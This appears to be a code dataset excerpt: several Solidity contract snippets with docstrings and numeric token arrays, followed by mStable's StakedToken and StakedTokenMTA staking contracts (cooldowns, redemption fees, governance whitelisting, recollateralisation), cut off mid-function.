infoToCheck.confirmedPeriod2 == info.confirmedPeriod2 &&
infoToCheck.lastActivePeriod == info.lastActivePeriod);
require(uint256(delegateGet(_testTarget, "getPastDowntimeLength(address)", miner)) ==
info.pastDowntime.length);
for (i = 0; i < info.pastDowntime.length && i < MAX_CHECKED_VALUES; i++) {
Downtime storage downtime = info.pastDowntime[i];
Downtime memory downtimeToCheck = delegateGetPastDowntime(_testTarget, minerAddress, i);
require(downtimeToCheck.startPeriod == downtime.startPeriod &&
downtimeToCheck.endPeriod == downtime.endPeriod);
}
require(uint256(delegateGet(_testTarget, "getStakesLength(address)", miner)) == info.stakes.length);
for (uint256 i = 0; i < info.stakes.length && i < MAX_CHECKED_VALUES; i++) {
StakeInfo storage stakeInfo = info.stakes[i];
StakeInfo memory stakeInfoToCheck = delegateGetStakeInfo(_testTarget, minerAddress, i);
require(stakeInfoToCheck.firstPeriod == stakeInfo.firstPeriod &&
stakeInfoToCheck.lastPeriod == stakeInfo.lastPeriod &&
stakeInfoToCheck.periods == stakeInfo.periods &&
stakeInfoToCheck.lockedValue == stakeInfo.lockedValue);
}
}
function finishUpgrade(address _target) public onlyOwner {
super.finishUpgrade(_target);
MinersEscrow escrow = MinersEscrow(_target);
minLockedPeriods = escrow.minLockedPeriods();
minAllowableLockedTokens = escrow.minAllowableLockedTokens();
maxAllowableLockedTokens = escrow.maxAllowableLockedTokens();
// Create fake period
lockedPerPeriod[RESERVED_PERIOD] = 111;
}
}
| * @notice Implementation of the receiveApproval(address,uint256,address,bytes) method (see NuCypherToken contract). Deposit all tokens that were approved to transfer @param _from Miner @param _value Amount of tokens to deposit @param _tokenContract Token contract address @notice (param _extraData) Amount of periods during which tokens will be locked/ copy first 32 bytes from _extraData. Position is calculated as 4 bytes method signature plus 32 * 3 bytes for previous params and addition 32 bytes to skip _extraData pointer | function receiveApproval(
address _from,
uint256 _value,
address _tokenContract,
bytes /* _extraData */
)
external
{
require(_tokenContract == address(token) && msg.sender == address(token));
uint256 payloadSize;
uint256 payload;
assembly {
payloadSize := calldataload(0x84)
payload := calldataload(0xA4)
}
payload = payload >> 8*(32 - payloadSize);
deposit(_from, _value, uint16(payload));
}
| 1,068,865 | [
1,
13621,
434,
326,
6798,
23461,
12,
2867,
16,
11890,
5034,
16,
2867,
16,
3890,
13,
707,
261,
5946,
20123,
17992,
21496,
1345,
6835,
2934,
4019,
538,
305,
777,
2430,
716,
4591,
20412,
358,
7412,
225,
389,
2080,
5444,
264,
225,
389,
1132,
16811,
434,
2430,
358,
443,
1724,
225,
389,
2316,
8924,
3155,
6835,
1758,
225,
261,
891,
389,
7763,
751,
13,
16811,
434,
12777,
4982,
1492,
2430,
903,
506,
8586,
19,
1610,
1122,
3847,
1731,
628,
389,
7763,
751,
18,
11010,
353,
8894,
487,
1059,
1731,
707,
3372,
8737,
3847,
225,
890,
1731,
364,
2416,
859,
471,
2719,
3847,
1731,
358,
2488,
389,
7763,
751,
4407,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6798,
23461,
12,
203,
3639,
1758,
389,
2080,
16,
203,
3639,
2254,
5034,
389,
1132,
16,
203,
3639,
1758,
389,
2316,
8924,
16,
203,
3639,
1731,
1748,
389,
7763,
751,
1195,
203,
565,
262,
203,
3639,
3903,
203,
565,
288,
203,
3639,
2583,
24899,
2316,
8924,
422,
1758,
12,
2316,
13,
597,
1234,
18,
15330,
422,
1758,
12,
2316,
10019,
203,
3639,
2254,
5034,
2385,
1225,
31,
203,
3639,
2254,
5034,
2385,
31,
203,
3639,
19931,
288,
203,
5411,
2385,
1225,
519,
745,
72,
3145,
6189,
12,
20,
92,
5193,
13,
203,
5411,
2385,
519,
745,
72,
3145,
6189,
12,
20,
21703,
24,
13,
203,
3639,
289,
203,
3639,
2385,
273,
2385,
1671,
1725,
21556,
1578,
300,
2385,
1225,
1769,
203,
3639,
443,
1724,
24899,
2080,
16,
389,
1132,
16,
2254,
2313,
12,
7648,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xf6aa125a49c7B371f27dEA01E7407DAa85AB91ed/sources/contracts/feeDistributor/Erc4337Account.sol | @notice Returns the client address @return address client address @inheritdoc IOwnable @inheritdoc IOwnableWithOperator @notice withdraw function selector @dev since withdraw function in derived contracts can have arguments, its signature can vary and can be overridden in derived contracts @return bytes4 withdraw function selector | function client() public view virtual returns (address);
function owner() public view virtual returns (address);
function operator() public view virtual returns (address);
function withdrawSelector() public pure virtual returns (bytes4) {
return defaultWithdrawSelector;
}
| 3,847,854 | [
1,
1356,
326,
1004,
1758,
327,
1758,
1004,
1758,
632,
10093,
1665,
91,
6914,
632,
10093,
1665,
91,
6914,
1190,
5592,
225,
598,
9446,
445,
3451,
225,
3241,
598,
9446,
445,
316,
10379,
20092,
848,
1240,
1775,
16,
2097,
3372,
848,
23674,
471,
848,
506,
11000,
316,
10379,
20092,
327,
1731,
24,
598,
9446,
445,
3451,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1004,
1435,
1071,
1476,
5024,
1135,
261,
2867,
1769,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
1769,
203,
203,
565,
445,
3726,
1435,
1071,
1476,
5024,
1135,
261,
2867,
1769,
203,
203,
565,
445,
598,
9446,
4320,
1435,
1071,
16618,
5024,
1135,
261,
3890,
24,
13,
288,
203,
3639,
327,
805,
1190,
9446,
4320,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x5D44d627B9785B9404c432900bC47437d98C1962/sources/browser/tests/4_Ballot_test.sol | * decrease allowance./ | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
| 734,963 | [
1,
323,
11908,
1699,
1359,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
20467,
7009,
1359,
12,
2867,
17571,
264,
16,
2254,
5034,
10418,
329,
620,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
2583,
12,
87,
1302,
264,
480,
1758,
12,
20,
10019,
203,
565,
2935,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
65,
273,
2935,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
8009,
1717,
12,
1717,
1575,
329,
620,
1769,
203,
565,
3626,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
17571,
264,
16,
2935,
63,
3576,
18,
15330,
6362,
87,
1302,
264,
19226,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
pragma abicoder v2;
import { StakedToken } from "./StakedToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title StakedTokenMTA
* @dev Derives from StakedToken, and simply adds the functionality specific to the $MTA staking token,
* for example compounding rewards.
**/
contract StakedTokenMTA is StakedToken {
using SafeERC20 for IERC20;
/**
* @param _nexus System nexus
* @param _rewardsToken Token that is being distributed as a reward. eg MTA
* @param _stakedToken Core token that is staked and tracked (e.g. MTA)
* @param _cooldownSeconds Seconds a user must wait after she initiates her cooldown before withdrawal is possible
* @param _unstakeWindow Window in which it is possible to withdraw, following the cooldown period
*/
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
address _stakedToken,
uint256 _cooldownSeconds,
uint256 _unstakeWindow
)
StakedToken(
_nexus,
_rewardsToken,
_questManager,
_stakedToken,
_cooldownSeconds,
_unstakeWindow,
false
)
{}
function initialize(
bytes32 _nameArg,
bytes32 _symbolArg,
address _rewardsDistributorArg
) external initializer {
__StakedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg);
}
/**
* @dev Allows a staker to compound their rewards IF the Staking token and the Rewards token are the same
* for example, with $MTA as both staking token and rewards token. Calls 'claimRewards' on the HeadlessStakingRewards
* before executing a stake here
*/
function compoundRewards() external nonReentrant {
require(address(STAKED_TOKEN) == address(REWARDS_TOKEN), "Only for same pairs");
// 1. claim rewards
uint256 balBefore = STAKED_TOKEN.balanceOf(address(this));
_claimReward(address(this));
// 2. check claim amount
uint256 balAfter = STAKED_TOKEN.balanceOf(address(this));
uint256 claimed = balAfter - balBefore;
require(claimed > 0, "Must compound something");
// 3. re-invest
_settleStake(claimed, address(0), false);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
pragma abicoder v2;
import { IStakedToken } from "./interfaces/IStakedToken.sol";
import { GamifiedVotingToken } from "./GamifiedVotingToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { Root } from "../../shared/Root.sol";
import { InitializableReentrancyGuard } from "../../shared/InitializableReentrancyGuard.sol";
import "./deps/GamifiedTokenStructs.sol";
/**
* @title StakedToken
* @notice StakedToken is a non-transferrable ERC20 token that allows users to stake and withdraw, earning voting rights.
* Scaled balance is determined by quests a user completes, and the length of time they keep the raw balance wrapped.
* Stakers can unstake, after the elapsed cooldown period, and before the end of the unstake window. Users voting/earning
* power is slashed during this time, and they may face a redemption fee if they leave early.
* The reason for this unstake window is that this StakedToken acts as a source of insurance value for the mStable system,
* which can access the funds via the Recollateralisation module, up to the amount defined in `safetyData`.
* Voting power can be used for a number of things: voting in the mStable DAO/emission dials, boosting rewards, earning
* rewards here. While a users "balance" is unique to themselves, they can choose to delegate their voting power (which will apply
* to voting in the mStable DAO and emission dials).
* @author mStable
* @dev Only whitelisted contracts can communicate with this contract, in order to avoid having tokenised wrappers that
* could potentially circumvent our unstaking procedure.
**/
contract StakedToken is GamifiedVotingToken, InitializableReentrancyGuard {
using SafeERC20 for IERC20;
/// @notice Core token that is staked and tracked (e.g. MTA)
IERC20 public immutable STAKED_TOKEN;
/// @notice Seconds a user must wait after she initiates her cooldown before withdrawal is possible
uint256 public immutable COOLDOWN_SECONDS;
/// @notice Window in which it is possible to withdraw, following the cooldown period
uint256 public immutable UNSTAKE_WINDOW;
/// @notice A week
uint256 private constant ONE_WEEK = 7 days;
struct SafetyData {
/// Percentage of collateralisation where 100% = 1e18
uint128 collateralisationRatio;
/// Slash % where 100% = 1e18
uint128 slashingPercentage;
}
/// @notice Data relating to the re-collateralisation safety module
SafetyData public safetyData;
/// @notice Whitelisted smart contract integrations
mapping(address => bool) public whitelistedWrappers;
event Staked(address indexed user, uint256 amount, address delegatee);
event Withdraw(address indexed user, address indexed to, uint256 amount);
event Cooldown(address indexed user, uint256 percentage);
event CooldownExited(address indexed user);
event SlashRateChanged(uint256 newRate);
event Recollateralised();
event WrapperWhitelisted(address wallet);
event WrapperBlacklisted(address wallet);
/***************************************
INIT
****************************************/
/**
* @param _nexus System nexus
* @param _rewardsToken Token that is being distributed as a reward. eg MTA
* @param _questManager Centralised manager of quests
* @param _stakedToken Core token that is staked and tracked (e.g. MTA)
* @param _cooldownSeconds Seconds a user must wait after she initiates her cooldown before withdrawal is possible
* @param _unstakeWindow Window in which it is possible to withdraw, following the cooldown period
* @param _hasPriceCoeff true if raw staked amount is multiplied by price coeff to get staked amount. eg BPT Staked Token
*/
constructor(
address _nexus,
address _rewardsToken,
address _questManager,
address _stakedToken,
uint256 _cooldownSeconds,
uint256 _unstakeWindow,
bool _hasPriceCoeff
) GamifiedVotingToken(_nexus, _rewardsToken, _questManager, _hasPriceCoeff) {
STAKED_TOKEN = IERC20(_stakedToken);
COOLDOWN_SECONDS = _cooldownSeconds;
UNSTAKE_WINDOW = _unstakeWindow;
}
/**
* @param _nameArg Token name
* @param _symbolArg Token symbol
* @param _rewardsDistributorArg mStable Rewards Distributor
*/
function __StakedToken_init(
bytes32 _nameArg,
bytes32 _symbolArg,
address _rewardsDistributorArg
) public initializer {
__GamifiedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg);
_initializeReentrancyGuard();
safetyData = SafetyData({ collateralisationRatio: 1e18, slashingPercentage: 0 });
}
/**
* @dev Only the recollateralisation module, as specified in the mStable Nexus, can execute this
*/
modifier onlyRecollateralisationModule() {
require(_msgSender() == _recollateraliser(), "Only Recollateralisation Module");
_;
}
/**
* @dev This protects against fn's being called after a recollateralisation event, when the contract is essentially finished
*/
modifier onlyBeforeRecollateralisation() {
_onlyBeforeRecollateralisation();
_;
}
function _onlyBeforeRecollateralisation() internal view {
require(safetyData.collateralisationRatio == 1e18, "Only while fully collateralised");
}
/**
* @dev Only whitelisted contracts can call core fns. mStable governors can whitelist and de-whitelist wrappers.
* Access may be given to yield optimisers to boost rewards, but creating unlimited and ungoverned wrappers is unadvised.
*/
modifier assertNotContract() {
_assertNotContract();
_;
}
function _assertNotContract() internal view {
if (_msgSender() != tx.origin) {
require(whitelistedWrappers[_msgSender()], "Not a whitelisted contract");
}
}
/***************************************
ACTIONS
****************************************/
/**
* @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and
* boosts their voting power.
* @param _amount Units of STAKED_TOKEN to stake
*/
function stake(uint256 _amount) external {
_transferAndStake(_amount, address(0), false);
}
/**
* @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and
* boosts their voting power.
* @param _amount Units of STAKED_TOKEN to stake
* @param _exitCooldown Bool signalling whether to take this opportunity to end any outstanding cooldown and
* return the user back to their full voting power
*/
function stake(uint256 _amount, bool _exitCooldown) external {
_transferAndStake(_amount, address(0), _exitCooldown);
}
/**
* @dev Stake an `_amount` of STAKED_TOKEN in the system. This amount is added to the users stake and
* boosts their voting power. Take the opportunity to change delegatee.
* @param _amount Units of STAKED_TOKEN to stake
* @param _delegatee Address of the user to whom the sender would like to delegate their voting power
*/
function stake(uint256 _amount, address _delegatee) external {
_transferAndStake(_amount, _delegatee, false);
}
/**
* @dev Transfers tokens from sender before calling `_settleStake`
*/
function _transferAndStake(
uint256 _amount,
address _delegatee,
bool _exitCooldown
) internal {
STAKED_TOKEN.safeTransferFrom(_msgSender(), address(this), _amount);
_settleStake(_amount, _delegatee, _exitCooldown);
}
/**
* @dev Internal stake fn. Can only be called by whitelisted contracts/EOAs and only before a recollateralisation event.
* NOTE - Assumes tokens have already been transferred
* @param _amount Units of STAKED_TOKEN to stake
* @param _delegatee Address of the user to whom the sender would like to delegate their voting power
* @param _exitCooldown Bool signalling whether to take this opportunity to end any outstanding cooldown and
* return the user back to their full voting power
*/
function _settleStake(
uint256 _amount,
address _delegatee,
bool _exitCooldown
) internal onlyBeforeRecollateralisation assertNotContract {
require(_amount != 0, "INVALID_ZERO_AMOUNT");
// 1. Apply the delegate if it has been chosen (else it defaults to the sender)
if (_delegatee != address(0)) {
_delegate(_msgSender(), _delegatee);
}
// 2. Deal with cooldown
// If a user is currently in a cooldown period, re-calculate their cooldown timestamp
Balance memory oldBalance = _balances[_msgSender()];
// If we have missed the unstake window, or the user has chosen to exit the cooldown,
// then reset the timestamp to 0
bool exitCooldown = _exitCooldown ||
(oldBalance.cooldownTimestamp > 0 &&
block.timestamp >
(oldBalance.cooldownTimestamp + COOLDOWN_SECONDS + UNSTAKE_WINDOW));
if (exitCooldown) {
emit CooldownExited(_msgSender());
}
// 3. Settle the stake by depositing the STAKED_TOKEN and minting voting power
_mintRaw(_msgSender(), _amount, exitCooldown);
emit Staked(_msgSender(), _amount, _delegatee);
}
/**
* @dev Withdraw raw tokens from the system, following an elapsed cooldown period.
* Note - May be subject to a transfer fee, depending on the users weightedTimestamp
* @param _amount Units of raw token to withdraw
* @param _recipient Address of beneficiary who will receive the raw tokens
* @param _amountIncludesFee Is the `_amount` specified inclusive of any applicable redemption fee?
* @param _exitCooldown Should we take this opportunity to exit the cooldown period?
**/
function withdraw(
uint256 _amount,
address _recipient,
bool _amountIncludesFee,
bool _exitCooldown
) external {
_withdraw(_amount, _recipient, _amountIncludesFee, _exitCooldown);
}
/**
* @dev Withdraw raw tokens from the system, following an elapsed cooldown period.
* Note - May be subject to a transfer fee, depending on the users weightedTimestamp
* @param _amount Units of raw token to withdraw
* @param _recipient Address of beneficiary who will receive the raw tokens
* @param _amountIncludesFee Is the `_amount` specified inclusive of any applicable redemption fee?
* @param _exitCooldown Should we take this opportunity to exit the cooldown period?
**/
function _withdraw(
uint256 _amount,
address _recipient,
bool _amountIncludesFee,
bool _exitCooldown
) internal assertNotContract {
require(_amount != 0, "INVALID_ZERO_AMOUNT");
// Is the contract post-recollateralisation?
if (safetyData.collateralisationRatio != 1e18) {
// 1. If recollateralisation has occured, the contract is finished and we can skip all checks
_burnRaw(_msgSender(), _amount, false, true);
// 2. Return a proportionate amount of tokens, based on the collateralisation ratio
STAKED_TOKEN.safeTransfer(
_recipient,
(_amount * safetyData.collateralisationRatio) / 1e18
);
emit Withdraw(_msgSender(), _recipient, _amount);
} else {
// 1. If no recollateralisation has occured, the user must be within their UNSTAKE_WINDOW period in order to withdraw
Balance memory oldBalance = _balances[_msgSender()];
require(
block.timestamp > oldBalance.cooldownTimestamp + COOLDOWN_SECONDS,
"INSUFFICIENT_COOLDOWN"
);
require(
block.timestamp - (oldBalance.cooldownTimestamp + COOLDOWN_SECONDS) <=
UNSTAKE_WINDOW,
"UNSTAKE_WINDOW_FINISHED"
);
// 2. Get current balance
Balance memory balance = _balances[_msgSender()];
// 3. Apply redemption fee
// e.g. (55e18 / 5e18) - 2e18 = 9e18 / 100 = 9e16
uint256 feeRate = calcRedemptionFeeRate(balance.weightedTimestamp);
// fee = amount * 1e18 / feeRate
// totalAmount = amount + fee
uint256 totalWithdraw = _amountIncludesFee
? _amount
: (_amount * (1e18 + feeRate)) / 1e18;
uint256 userWithdrawal = (totalWithdraw * 1e18) / (1e18 + feeRate);
// Check for percentage withdrawal
uint256 maxWithdrawal = oldBalance.cooldownUnits;
require(totalWithdraw <= maxWithdrawal, "Exceeds max withdrawal");
// 4. Exit cooldown if the user has specified, or if they have withdrawn everything
// Otherwise, update the percentage remaining proportionately
bool exitCooldown = _exitCooldown || totalWithdraw == maxWithdrawal;
// 5. Settle the withdrawal by burning the voting tokens
_burnRaw(_msgSender(), totalWithdraw, exitCooldown, false);
// Log any redemption fee to the rewards contract
_notifyAdditionalReward(totalWithdraw - userWithdrawal);
// Finally transfer tokens back to recipient
STAKED_TOKEN.safeTransfer(_recipient, userWithdrawal);
emit Withdraw(_msgSender(), _recipient, _amount);
}
}
/**
* @dev Enters a cooldown period, after which (and before the unstake window elapses) a user will be able
* to withdraw part or all of their staked tokens. Note, during this period, a users voting power is significantly reduced.
* If a user already has a cooldown period, then it will reset to the current block timestamp, so use wisely.
* @param _units Units of stake to cooldown for
**/
function startCooldown(uint256 _units) external {
_startCooldown(_units);
}
/**
* @dev Ends the cooldown of the sender and give them back their full voting power. This can be used to signal that
* the user no longer wishes to exit the system. Note, the cooldown can also be reset, more smoothly, as part of a stake or
* withdraw transaction.
**/
function endCooldown() external {
require(_balances[_msgSender()].cooldownTimestamp != 0, "No cooldown");
_exitCooldownPeriod(_msgSender());
emit CooldownExited(_msgSender());
}
/**
* @dev Enters a cooldown period, after which (and before the unstake window elapses) a user will be able
* to withdraw part or all of their staked tokens. Note, during this period, a users voting power is significantly reduced.
* If a user already has a cooldown period, then it will reset to the current block timestamp, so use wisely.
* @param _units Units of stake to cooldown for
**/
function _startCooldown(uint256 _units) internal {
require(balanceOf(_msgSender()) != 0, "INVALID_BALANCE_ON_COOLDOWN");
_enterCooldownPeriod(_msgSender(), _units);
emit Cooldown(_msgSender(), _units);
}
/***************************************
ADMIN
****************************************/
/**
* @dev This is a write function allowing the whitelisted recollateralisation module to slash stakers here and take
* the capital to use to recollateralise any lost value in the system. Trusting that the recollateralisation module has
* sufficient protections put in place. Note, once this has been executed, the contract is now finished, and undercollateralised,
* meaning that all users must withdraw, and will only receive a proportionate amount back relative to the colRatio.
**/
function emergencyRecollateralisation()
external
onlyRecollateralisationModule
onlyBeforeRecollateralisation
{
// 1. Change collateralisation rate
safetyData.collateralisationRatio = 1e18 - safetyData.slashingPercentage;
// 2. Take slashing percentage
uint256 balance = STAKED_TOKEN.balanceOf(address(this));
STAKED_TOKEN.safeTransfer(
_recollateraliser(),
(balance * safetyData.slashingPercentage) / 1e18
);
// 3. No functions should work anymore because the colRatio has changed
emit Recollateralised();
}
/**
* @dev Governance can change the slashing percentage here (initially 0). This is the amount of a stakers capital that is at
* risk in the recollateralisation process.
* @param _newRate Rate, where 50% == 5e17
**/
function changeSlashingPercentage(uint256 _newRate)
external
onlyGovernor
onlyBeforeRecollateralisation
{
require(_newRate <= 5e17, "Cannot exceed 50%");
safetyData.slashingPercentage = SafeCast.toUint128(_newRate);
emit SlashRateChanged(_newRate);
}
/**
* @dev Allows governance to whitelist a smart contract to interact with the StakedToken (for example a yield aggregator or simply
* a Gnosis SAFE or other)
* @param _wrapper Address of the smart contract to list
**/
function whitelistWrapper(address _wrapper) external onlyGovernor {
whitelistedWrappers[_wrapper] = true;
emit WrapperWhitelisted(_wrapper);
}
/**
* @dev Allows governance to blacklist a smart contract to end it's interaction with the StakedToken
* @param _wrapper Address of the smart contract to blacklist
**/
function blackListWrapper(address _wrapper) external onlyGovernor {
whitelistedWrappers[_wrapper] = false;
emit WrapperBlacklisted(_wrapper);
}
/***************************************
BACKWARDS COMPATIBILITY
****************************************/
/**
* @dev Allows for backwards compatibility with createLock fn, giving basic args to stake
* @param _value Units to stake
**/
function createLock(
uint256 _value,
uint256 /* _unlockTime */
) external {
_transferAndStake(_value, address(0), false);
}
/**
* @dev Allows for backwards compatibility with increaseLockAmount fn by simply staking more
* @param _value Units to stake
**/
function increaseLockAmount(uint256 _value) external {
require(balanceOf(_msgSender()) != 0, "Nothing to increase");
